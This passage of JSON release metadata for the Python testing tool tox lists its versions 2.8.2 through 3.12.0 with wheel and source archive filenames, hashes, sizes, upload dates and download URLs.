ar.gz","yanked":false,"yanked_reason":null}],"2.8.2":[{"comment_text":"","core-metadata":{"sha256":"706183cbf9ec5e98f8421166cc9d951f59ffc6a8f128248637b9b91b0b2b42ee"},"digests":{"blake2b_256":"a82b075b49a54eee317d8ce85f5ff023936a30f346590234f10d2e2a4bae45fd","md5":"c85e83bf899f2f3f77c8ca0fc616713d","sha256":"49d88f2c217352c499450e9f61ca82fd9c8873d01a45555bb342a32f2b6753a2"},"downloads":-1,"filename":"tox-2.8.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"c85e83bf899f2f3f77c8ca0fc616713d","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":null,"size":49497,"upload_time":"2017-09-10T12:39:17","upload_time_iso_8601":"2017-09-10T12:39:17.578830Z","url":"https://files.pythonhosted.org/packages/a8/2b/075b49a54eee317d8ce85f5ff023936a30f346590234f10d2e2a4bae45fd/tox-2.8.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"0afb8591dbf65717b04797586683bdf95fd14f31a1a8d707873d805c97e40144","md5":"adb8e4ad34bdb34276801381ffc648bf","sha256":"d9c279e707d2cfef8d77d10f13b38b3e68b7e470018b45747560f6c3c66d6b83"},"downloads":-1,"filename":"tox-2.8.2.tar.gz","has_sig":false,"md5_digest":"adb8e4ad34bdb34276801381ffc648bf","packagetype":"sdist","python_version":"source","requires_python":null,"size":471843,"upload_time":"2017-09-10T12:39:19","upload_time_iso_8601":"2017-09-10T12:39:19.878323Z","url":"https://files.pythonhosted.org/packages/0a/fb/8591dbf65717b04797586683bdf95fd14f31a1a8d707873d805c97e40144/tox-2.8.2.tar.gz","yanked":false,"yanked_reason":null}],"2.9.0":[{"comment_text":"","core-metadata":{"sha256":"91d20b6ae593f83f318e84c428ba8c0d455f13c4c5710b002a69c861b5c5100f"},"digests":{"blake2b_256":"02943d545c9b4525b3212e909b471e2368f14a4ea8a0a937e8ab5ed8b2222b14","md5":"bcf24c110ab40f498fbb8c50757d12f7","sha256":"b38ec36d3b7854464c3c1c8cdcc0bcf5691dcf1725fc2790a930acf949792053"},"downloads":-1,"filename":"tox-2.9.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"bcf24c110ab40f498fbb8c50757d12f7","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":null,"size":71343,"upload_time":"2017-09-29T10:25:55","upload_time_iso_8601":"2017-09-29T10:25:55.695886Z","url":"https://files.pythonhosted.org/packages/02/94/3d545c9b4525b3212e909b471e2368f14a4ea8a0a937e8ab5ed8b2222b14/tox-2.9.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"14f17b2c0fb8e9a3e7ba62e2bfb6ab9c6dd2da3bf48fb639870ba3de26c1989f","md5":"5676dfa710b761bd5f12eb18057b3bb7","sha256":"adb44732982b207424b42f9a2d1e3f80240ecfbba0e374a27ae3779a5a934d0a"},"downloads":-1,"filename":"tox-2.9.0.tar.gz","has_sig":false,"md5_digest":"5676dfa710b761bd5f12eb18057b3bb7","packagetype":"sdist","python_version":"source","requires_python":null,"size":1843826,"upload_time":"2017-09-29T10:25:59","upload_time_iso_8601":"2017-09-29T10:25:59.049019Z","url":"https://files.pythonhosted.org/packages/14/f1/7b2c0fb8e9a3e7ba62e2bfb6ab9c6dd2da3bf48fb639870ba3de26c1989f/tox-2.9.0.tar.gz","yanked":false,"yanked_reason":null}],"2.9.0rc1":[{"comment_text":"","core-metadata":{"sha256":"a5ef3f05fff69dd11532c90be1a07f62d1d3b53b53c957bbaceb69b29d05953c"},"digests":{"blake2b_256":"f0d8e5a8c20c36994615a6ee73138aa2d1a7c3669e109c6b8cf1f032e3ce918c","md5":"423ab61d858ef6973c520fe5a743b1b3","sha256":"19895b5af9eb5fb19f4fc632691f656569588adef42d0d266ad110de5999d031"},"downloads":-1,"filename":"tox-2.9.0rc1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"423ab61d858ef6973c520fe5a743b1b3","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":null,"size":70959,"upload_time":"2017-09-14T22:12:49","upload_time_iso_8601":"2017-09-14T22:12:49.373130Z","url":"https://files.pythonhosted.org/packages/f0/d8/e5a8c20c36994615a6ee73138aa2d1a7c3669e109c6b8cf1f032e3ce918c/tox-2.9.0rc1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"a5d24d1ce87d6c51800919d1851b8ab2629a906ded2370302d3d0b59d79b1d93","md5":"c9bbbe0d0fb51b1c35f54e72429c5019","sha256":"19dd16a8d531ea692bd87cf52daad3253e637e47eb65c8f3b3f94fe995838cdf"},"downloads":-1,"filename":"tox-2.9.0rc1.tar.gz","has_sig":false,"md5_digest":"c9bbbe0d0fb51b1c35f54e72429c5019","packagetype":"sdist","python_version":"source","requires_python":null,"size":141308,"upload_time":"2017-09-14T22:12:51","upload_time_iso_8601":"2017-09-14T22:12:51.330973Z","url":"https://files.pythonhosted.org/packages/a5/d2/4d1ce87d6c51800919d1851b8ab2629a906ded2370302d3d0b59d79b1d93/tox-2.9.0rc1.tar.gz","yanked":false,"yanked_reason":null}],"2.9.1":[{"comment_text":"","core-metadata":{"sha256":"acbabd0253585144aedfd2c6e7d6d177e6d8729b7802d81fdf987421e2ae8707"},"digests":{"blake2b_256":"1d4e20c679f8c5948f7c48591fde33d442e716af66a31a88f5791850a75041eb","md5":"88b09bfedbe511814c5982bea79b644d","sha256":"8af30fd835a11f3ff8e95176ccba5a4e60779df4d96a9dfefa1a1704af263225"},"downloads":-1,"filename":"tox-2.9.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"88b09bfedbe511814c5982bea79b644d","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":null,"size":73454,"upload_time":"2017-09-29T19:03:15","upload_time_iso_8601":"2017-09-29T19:03:15.986971Z","url":"https://files.pythonhosted.org/packages/1d/4e/20c679f8c5948f7c48591fde33d442e716af66a31a88f5791850a75041eb/tox-2.9.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"a736e61f5263491a179311c4eaf40cf7c7bfd3aec9087687da25a1d900cc089a","md5":"7aa99d0eb206e4b070b9546115271cdb","sha256":"752f5ec561c6c08c5ecb167d3b20f4f4ffc158c0ab78855701a75f5cef05f4b8"},"downloads":-1,"filename":"tox-2.9.1.tar.gz","has_sig":false,"md5_digest":"7aa99d0eb206e4b070b9546115271cdb","packagetype":"sdist","python_version":"source","requires_python":null,"size":1855982,"upload_time":"2017-09-29T19:03:22","upload_time_iso_8601":"2017-09-29T19:03:22.095889Z","url":"https://files.pythonhosted.org/packages/a7/36/e61f5263491a179311c4eaf40cf7c7bfd3aec9087687da25a1d900cc089a/tox-2.9.1.tar.gz","yanked":false,"yanked_reason":null}],"3.0.0":[{"comment_text":"","core-metadata":{"sha256":"6cfbdd4e6a7a672ec55e966142ca27b21ba5854a7307f136121eb3f9cf23bfd4"},"digests":{"blake2b_256":"e6414dcfd713282bf3213b0384320fa8841e4db032ddcb80bc08a540159d42a8","md5":"daf772600f676d8b449e4d2f70536f4b","sha256":"9ee7de958a43806402a38c0d2aa07fa8553f4d2c20a15b140e9f771c2afeade0"},"downloads":-1,"filename":"tox-3.0.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"daf772600f676d8b449e4d2f70536f4b","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":60356,"upload_time":"2018-04-02T18:35:24","upload_time_iso_8601":"2018-04-02T18:35:24.599889Z","url":"https://files.pythonhosted.org/packages/e6/41/4dcfd713282bf3213b0384320fa8841e4db032ddcb80bc08a540159d42a8/tox-3.0.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"e9567c6f0dd000a7634cae819c65a7452bb6ead29a4b1b1516ee05fe9dd5334c","md5":"5dfc0bc3865a7a06186d7e0766015a80","sha256":"96efa09710a3daeeb845561ebbe1497641d9cef2ee0aea30db6969058b2bda2f"},"downloads":-1,"filename":"tox-3.0.0.tar.gz","has_sig":false,"md5_digest":"5dfc0bc3865a7a06186d7e0766015a80","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":226055,"upload_time":"2018-04-02T18:35:28","upload_time_iso_8601":"2018-04-02T18:35:28.230680Z","url":"https://files.pythonhosted.org/packages/e9/56/7c6f0dd000a7634cae819c65a7452bb6ead29a4b1b1516ee05fe9dd5334c/tox-3.0.0.tar.gz","yanked":false,"yanked_reason":null}],"3.0.0rc1":[{"comment_text":"","core-metadata":{"sha256":"b8e9b963270f81d2777b71ab061b81f5d836d7f64b21007d0ffd7be2cc029ca7"},"digests":{"blake2b_256":"bbafa0b9d61f9950f03a1d3bbb3898b78dee98bb3e3158a1a613b339defa3bc0","md5":"472e73fd02337fb6574bc2ebcaa72fa7","sha256":"260b35d272ae399aa98333a190f4887460a950c8119ec5f5fc9a6a5d76b89f9d"},"downloads":-1,"filename":"tox-3.0.0rc1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"472e73fd02337fb6574bc2ebcaa72fa7","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":77654,"upload_time":"2018-01-28T16:25:38","upload_time_iso_8601":"2018-01-28T16:25:38.367255Z","url":"https://files.pythonhosted.org/packages/bb/af/a0b9d61f9950f03a1d3bbb3898b78dee98bb3e3158a1a613b339defa3bc0/tox-3.0.0rc1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"44e84013e83395e4033ee8ad6f86347c45291ff2acd3e2b06ad466e9c6f7b20e","md5":"61b300da21f00a3a28dfbabc91a37341","sha256":"f60ad2cf1676737c82bec19dbddd6213d649386925e153bf0ed28972c2167864"},"downloads":-1,"filename":"tox-3.0.0rc1.tar.gz","has_sig":false,"md5_digest":"61b300da21f00a3a28dfbabc91a37341","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":218574,"upload_time":"2018-01-28T16:25:40","upload_time_iso_8601":"2018-01-28T16:25:40.933672Z","url":"https://files.pythonhosted.org/packages/44/e8/4013e83395e4033ee8ad6f86347c45291ff2acd3e2b06ad466e9c6f7b20e/tox-3.0.0rc1.tar.gz","yanked":false,"yanked_reason":null}],"3.0.0rc2":[{"comment_text":"","core-metadata":{"sha256":"eb098dbfc7cfef8cbd32f60200b0254fd378a8f13e6492c83dae2e109406305f"},"digests":{"blake2b_256":"cf8c2d9a7eb676b0ccae02170ae7cf52cc18eeebae6d9af12ac09448ece74106","md5":"4f4eef389415269860cb9fbf25b5c96c","sha256":"c1627d118c8f3cdbb6037fa55a980a33daa56dd2333806075b9498861cc6ea57"},"downloads":-1,"filename":"tox-3.0.0rc2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"4f4eef389415269860cb9fbf25b5c96c","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":78614,"upload_time":"2018-03-03T14:01:50","upload_time_iso_8601":"2018-03-03T14:01:50.800288Z","url":"https://files.pythonhosted.org/packages/cf/8c/2d9a7eb676b0ccae02170ae7cf52cc18eeebae6d9af12ac09448ece74106/tox-3.0.0rc2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"03af8d8a8048315408825e7f616ef8623c8b5becf1c4ee3fbbd90d36e09158ea","md5":"f399a06beb3b3f71fc6794e4f2db22db","sha256":"0d243afc556a6f50be9174f5c3ab1dae0b88a04d76894a71bf0175e3eb05bf32"},"downloads":-1,"filename":"tox-3.0.0rc2.tar.gz","has_sig":false,"md5_digest":"f399a06beb3b3f71fc6794e4f2db22db","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":225644,"upload_time":"2018-03-03T14:01:54","upload_time_iso_8601":"2018-03-03T14:01:54.704557Z","url":"https://files.pythonhosted.org/packages/03/af/8d8a8048315408825e7f616ef8623c8b5becf1c4ee3fbbd90d36e09158ea/tox-3.0.0rc2.tar.gz","yanked":false,"yanked_reason":null}],"3.0.0rc3":[{"comment_text":"","core-metadata":{"sha256":"fa1f1bc1c206db3328cb69291f483844269c0c0fd5251d2414ed00b95150163f"},"digests":{"blake2b_256":"5450938674090622a7dc83796d0297c676bf557dc7494d010142111b23325365","md5":"45f9b3d52c488c7188bb9d49101a5e4a","sha256":"6e497ddb954e759c3542dd924ff6c5435952e863854e29cb8653e8075e9d4b06"},"downloads":-1,"filename":"tox-3.0.0rc3-py2.py3-none-any.whl","has_sig":false,"md5_digest":"45f9b3d52c488c7188bb9d49101a5e4a","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":78693,"upload_time":"2018-03-22T19:49:08","upload_time_iso_8601":"2018-03-22T19:49:08.953600Z","url":"https://files.pythonhosted.org/packages/54/50/938674090622a7dc83796d0297c676bf557dc7494d010142111b23325365/tox-3.0.0rc3-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"5133c22b531c0ce02f9228baacb7a21d164ebb13da7359be218647a21c3868d3","md5":"a78bebd8bcd33955e1b2700fb70876e7","sha256":"fe64eebec9b1c70a3266c5c8b1de7c137170c146506696731a6415cfb948bea9"},"downloads":-1,"filename":"tox-3.0.0rc3.tar.gz","has_sig":false,"md5_digest":"a78bebd8bcd33955e1b2700fb70876e7","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":225992,"upload_time":"2018-03-22T19:49:11","upload_time_iso_8601":"2018-03-22T19:49:11.252670Z","url":"https://files.pythonhosted.org/packages/51/33/c22b531c0ce02f9228baacb7a21d164ebb13da7359be218647a21c3868d3/tox-3.0.0rc3.tar.gz","yanked":false,"yanked_reason":null}],"3.0.0rc4":[{"comment_text":"","core-metadata":{"sha256":"1279356803a43e7f0186e6ac0f576e5d0cca8dd56a9de3aaed55b287a966676d"},"digests":{"blake2b_256":"cb388fd9639497ea7deab5ce813cc375093a0e34ec44655a69b663164e058f48","md5":"3eaca0b0d1e533dafc286db541c37d7f","sha256":"9536130d8f47b06460325e5d8b908268a5bf3574a74e32437cf9686d13162215"},"downloads":-1,"filename":"tox-3.0.0rc4-py2.py3-none-any.whl","has_sig":false,"md5_digest":"3eaca0b0d1e533dafc286db541c37d7f","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":78759,"upload_time":"2018-03-23T21:31:00","upload_time_iso_8601":"2018-03-23T21:31:00.627672Z","url":"https://files.pythonhosted.org/packages/cb/38/8fd9639497ea7deab5ce813cc375093a0e34ec44655a69b663164e058f48/tox-3.0.0rc4-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"5e926305f20c0c4d6495c0940e09b73b84a9c4fd2481168b74fc3208a8ec3abd","md5":"c00102688728468d8273298f08de1fb6","sha256":"1ff75c8f8890046f42c8d49a994b11a57c3d262048b815e1c19970028eb44e53"},"downloads":-1,"filename":"tox-3.0.0rc4.tar.gz","has_sig":false,"md5_digest":"c00102688728468d8273298f08de1fb6","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":225991,"upload_time":"2018-03-23T21:31:02","upload_time_iso_8601":"2018-03-23T21:31:02.775852Z","url":"https://files.pythonhosted.org/packages/5e/92/6305f20c0c4d6495c0940e09b73b84a9c4fd2481168b74fc3208a8ec3abd/tox-3.0.0rc4.tar.gz","yanked":false,"yanked_reason":null}],"3.1.0":[{"comment_text":"","core-metadata":{"sha256":"b49e394546946d1d975456a5745568fae8031dc3b0d1a966ab86ed34ea30d70e"},"digests":{"blake2b_256":"f5970fea3b7a7ac7be2cc12acb4187c232f744440b7ca902741919632fd351bb","md5":"5e4d268c0227efab8bc1f013d1dfa5cf","sha256":"017b7c0b2483f417dffbe05bd2b8b435c6982190a774b60c1225ba3c099b2d31"},"downloads":-1,"filename":"tox-3.1.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"5e4d268c0227efab8bc1f013d1dfa5cf","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":61148,"upload_time":"2018-07-08T20:55:43","upload_time_iso_8601":"2018-07-08T20:55:43.414657Z","url":"https://files.pythonhosted.org/packages/f5/97/0fea3b7a7ac7be2cc12acb4187c232f744440b7ca902741919632fd351bb/tox-3.1.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"f6e280f14b1d9af8f940d368e90abd66de7e84659a76a6693bd74cc923c7d840","md5":"ca2624283ebdb79338b22583302da6cf","sha256":"de70c2ab27aa4c4af5534261db7d52f9e52e2a9f2d4061eb99eefb0beb52a32b"},"downloads":-1,"filename":"tox-3.1.0.tar.gz","has_sig":false,"md5_digest":"ca2624283ebdb79338b22583302da6cf","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":231405,"upload_time":"2018-07-08T20:55:44","upload_time_iso_8601":"2018-07-08T20:55:44.808310Z","url":"https://files.pythonhosted.org/packages/f6/e2/80f14b1d9af8f940d368e90abd66de7e84659a76a6693bd74cc923c7d840/tox-3.1.0.tar.gz","yanked":false,"yanked_reason":null}],"3.1.1":[{"comment_text":"","core-metadata":{"sha256":"5d2bb124a93d5675deddc5e8bd5c18b8deb6399984c4521a9e9a4ec4784420e3"},"digests":{"blake2b_256":"ddf70b8d50092548a9ce1c328dbf8eb8fcc2545786fb9bf8d73fbe5d3324b180","md5":"5ab73a78157c78647bd2eefc27bbc41b","sha256":"9f09ec569b5019ed030d3ed3d486a9263e8964a9752253a98f5d67b46e954055"},"downloads":-1,"filename":"tox-3.1.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"5ab73a78157c78647bd2eefc27bbc41b","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":61060,"upload_time":"2018-07-09T14:30:52","upload_time_iso_8601":"2018-07-09T14:30:52.623388Z","url":"https://files.pythonhosted.org/packages/dd/f7/0b8d50092548a9ce1c328dbf8eb8fcc2545786fb9bf8d73fbe5d3324b180/tox-3.1.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"e8613de7854a815193c0bba26cf3cedb1b7e3a396696ddc73f813df32d2259c0","md5":"4d3f29c3bb9195c6cad4fee92b911e0e","sha256":"8df73fb0eae939692d67a095c49081b1afb948eca51879e5dc1868d9b0ad11de"},"downloads":-1,"filename":"tox-3.1.1.tar.gz","has_sig":false,"md5_digest":"4d3f29c3bb9195c6cad4fee92b911e0e","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":230584,"upload_time":"2018-07-09T14:30:54","upload_time_iso_8601":"2018-07-09T14:30:54.077710Z","url":"https://files.pythonhosted.org/packages/e8/61/3de7854a815193c0bba26cf3cedb1b7e3a396696ddc73f813df32d2259c0/tox-3.1.1.tar.gz","yanked":false,"yanked_reason":null}],"3.1.2":[{"comment_text":"","core-metadata":{"sha256":"fec534631eb5666ae9a154fd5a31d22ba500d4de456a9356920325ea2fc76575"},"digests":{"blake2b_256":"332fca8e2f6944732250b53e39f7bd3c2420081f019feb11430c03de88276fd7","md5":"6fac4c651638eb12fbf62bcf6d891225","sha256":"4df108a1fcc93a7ee4ac97e1a3a1fc3d41ddd22445d518976604e2ef05025280"},"downloads":-1,"filename":"tox-3.1.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"6fac4c651638eb12fbf62bcf6d891225","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":61083,"upload_time":"2018-07-12T17:40:24","upload_time_iso_8601":"2018-07-12T17:40:24.100681Z","url":"https://files.pythonhosted.org/packages/33/2f/ca8e2f6944732250b53e39f7bd3c2420081f019feb11430c03de88276fd7/tox-3.1.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"fcaa31296c7cf387d8e1fe57c98273ee6d52c9531c07115a916e334bdf7a247f","md5":"5cd03e4edc4eeb808cd1cf3eced9debc","sha256":"9f0cbcc36e08c2c4ae90d02d3d1f9a62231f974bcbc1df85e8045946d8261059"},"downloads":-1,"filename":"tox-3.1.2.tar.gz","has_sig":false,"md5_digest":"5cd03e4edc4eeb808cd1cf3eced9debc","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":231166,"upload_time":"2018-07-12T17:40:28","upload_time_iso_8601":"2018-07-12T17:40:28.835532Z","url":"https://files.pythonhosted.org/packages/fc/aa/31296c7cf387d8e1fe57c98273ee6d52c9531c07115a916e334bdf7a247f/tox-3.1.2.tar.gz","yanked":false,"yanked_reason":null}],"3.1.3":[{"comment_text":"","core-metadata":{"sha256":"3a25446f43582c79eac55bd850dbea278fc99ff548f29fc8769bbd4e6d05ef47"},"digests":{"blake2b_256":"77ba2fdc3a1629a3b801eb69dd656dafc545d811a11c6df1f21796985a89eb92","md5":"e3632938646e4a9ee742be72063da2d4","sha256":"0b3efa8fb125c65e531619920ec904862f8b6c04a15f929ada3949e12973dbc8"},"downloads":-1,"filename":"tox-3.1.3-py2.py3-none-any.whl","has_sig":false,"md5_digest":"e3632938646e4a9ee742be72063da2d4","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":61837,"upload_time":"2018-08-03T22:24:39","upload_time_iso_8601":"2018-08-03T22:24:39.666168Z","url":"https://files.pythonhosted.org/packages/77/ba/2fdc3a1629a3b801eb69dd656dafc545d811a11c6df1f21796985a89eb92/tox-3.1.3-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"05ae11750b375f48d65de79276b34c8ae663e90700ace388256e0077c8eeb23c","md5":"dd753506a42cf455879cba6410b97124","sha256":"0a0f1e8e15569e6507597517aa9e890434e8cc604bf229748c877751b4498054"},"downloads":-1,"filename":"tox-3.1.3.tar.gz","has_sig":false,"md5_digest":"dd753506a42cf455879cba6410b97124","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":266697,"upload_time":"2018-08-03T22:24:41","upload_time_iso_8601":"2018-08-03T22:24:41.427023Z","url":"https://files.pythonhosted.org/packages/05/ae/11750b375f48d65de79276b34c8ae663e90700ace388256e0077c8eeb23c/tox-3.1.3.tar.gz","yanked":false,"yanked_reason":null}],"3.10.0":[{"comment_text":"","core-metadata":{"sha256":"c5efc83b5db0e67ea3b07cd38efa3bbe7874712c2ea9fab6dbc3935dcecf7098"},"digests":{"blake2b_256":"289b23a760e8cc10527bea10976fe43f27257fbafca306e4559930cae68a3ecf","md5":"768d1f8173e80d439963b53d7bb3e21a","sha256":"5d6b9e7ad99a93b00ecd509e13552600d38eedd2b035ba24709f850b23f51254"},"downloads":-1,"filename":"tox-3.10.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"768d1f8173e80d439963b53d7bb3e21a","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":75773,"upload_time":"2019-05-13T11:23:08","upload_time_iso_8601":"2019-05-13T11:23:08.786538Z","url":"https://files.pythonhosted.org/packages/28/9b/23a760e8cc10527bea10976fe43f27257fbafca306e4559930cae68a3ecf/tox-3.10.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"adf3a4e427751c033fd76530a509701d9e4f8f7607cd40a011183b7662f40de1","md5":"b0a00dcfbb40708119d6dc1147678057","sha256":"fee5b4fa2fb1638b57879a1fcaefbfd16201d8d7ecb9956406855a85d518ac4c"},"downloads":-1,"filename":"tox-3.10.0.tar.gz","has_sig":false,"md5_digest":"b0a00dcfbb40708119d6dc1147678057","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":283016,"upload_time":"2019-05-13T11:23:11","upload_time_iso_8601":"2019-05-13T11:23:11.002900Z","url":"https://files.pythonhosted.org/packages/ad/f3/a4e427751c033fd76530a509701d9e4f8f7607cd40a011183b7662f40de1/tox-3.10.0.tar.gz","yanked":false,"yanked_reason":null}],"3.11.0":[{"comment_text":"","core-metadata":{"sha256":"9b82e10d0870848180a987e5f3127e35b613b6b2e3fe52bf4d4bd6af7448b5ee"},"digests":{"blake2b_256":"c78c919ec5bbbe0b9bc91a3088e5f42ceec7cfa3f8141b5db914574eb4e7fdd0","md5":"64320097f39ab74bf8a79549c0487d3e","sha256":"b7f8eb013c1c5fd758b272d4af97eeba168e6ea3fb604004582fce5aef0771c2"},"downloads":-1,"filename":"tox-3.11.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"64320097f39ab74bf8a79549c0487d3e","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":76152,"upload_time":"2019-05-15T17:03:07","upload_time_iso_8601":"2019-05-15T17:03:07.130666Z","url":"https://files.pythonhosted.org/packages/c7/8c/919ec5bbbe0b9bc91a3088e5f42ceec7cfa3f8141b5db914574eb4e7fdd0/tox-3.11.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"358ce01021d200756c0e75a625d606569f43f17c47a4316124923e0afa5d638a","md5":"100e4df2fd1b2c0369b0925f275b20fb","sha256":"5358eae59e3bdba5d9bd0794331854e36250e62fa3cf7d4059ae730bfe5ca432"},"downloads":-1,"filename":"tox-3.11.0.tar.gz","has_sig":false,"md5_digest":"100e4df2fd1b2c0369b0925f275b20fb","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":283901,"upload_time":"2019-05-15T17:03:09","upload_time_iso_8601":"2019-05-15T17:03:09.584232Z","url":"https://files.pythonhosted.org/packages/35/8c/e01021d200756c0e75a625d606569f43f17c47a4316124923e0afa5d638a/tox-3.11.0.tar.gz","yanked":false,"yanked_reason":null}],"3.11.1":[{"comment_text":"","core-metadata":{"sha256":"18e4eef46a8e2a67379ea38fa923e98bd3b6259ae34e7933189f3ad501d9f68e"},"digests":{"blake2b_256":"8b3871c2fe0c3915fc0e93bdd1bf8cd697be48cdacedbdcd438e0f0629c69024","md5":"94a86362e741908807a47344cda4c55a","sha256":"0b0f24aabc4296719c1008df82452bbba07f29713c2448f6923850396b7b9586"},"downloads":-1,"filename":"tox-3.11.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"94a86362e741908807a47344cda4c55a","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":76171,"upload_time":"2019-05-16T09:47:33","upload_time_iso_8601":"2019-05-16T09:47:33.076471Z","url":"https://files.pythonhosted.org/packages/8b/38/71c2fe0c3915fc0e93bdd1bf8cd697be48cdacedbdcd438e0f0629c69024/tox-3.11.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"4a5044654f07956a260bd801a80fba5f2837dd5befa9235cf3a0f2a542b03378","md5":"9a7eb1533cdc5c28d39796b47b8b282a","sha256":"1fa40cf60654c981ae8f0dafc8b87fe4ffd1ec3381d90694b97e1eec02e0b5d9"},"downloads":-1,"filename":"tox-3.11.1.tar.gz","has_sig":false,"md5_digest":"9a7eb1533cdc5c28d39796b47b8b282a","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":284226,"upload_time":"2019-05-16T09:47:35","upload_time_iso_8601":"2019-05-16T09:47:35.690842Z","url":"https://files.pythonhosted.org/packages/4a/50/44654f07956a260bd801a80fba5f2837dd5befa9235cf3a0f2a542b03378/tox-3.11.1.tar.gz","yanked":false,"yanked_reason":null}],"3.12.0":[{"comment_text":"","core-metadata":{"sha256":"a0de0be039ae0b2589aadae3b66b9ca40da0a6f135a23e88974683b6005093f6"},"digests":{"blake2b_256":"31eae0ba7245d82cd99ae35ab6b4e1927f75fd30f3382fcbbfe2a49d897f9a0e","md5":"a54199c1963cdc87d09a579162ae1292","sha256":"7185a8220fce78da86279f4d88d066a215493675ec60798a50fb95bc1c2803b8"},"downloads":-1,"filename":"tox-3.12.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"a54199c1963cdc87d09a579162ae1292","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=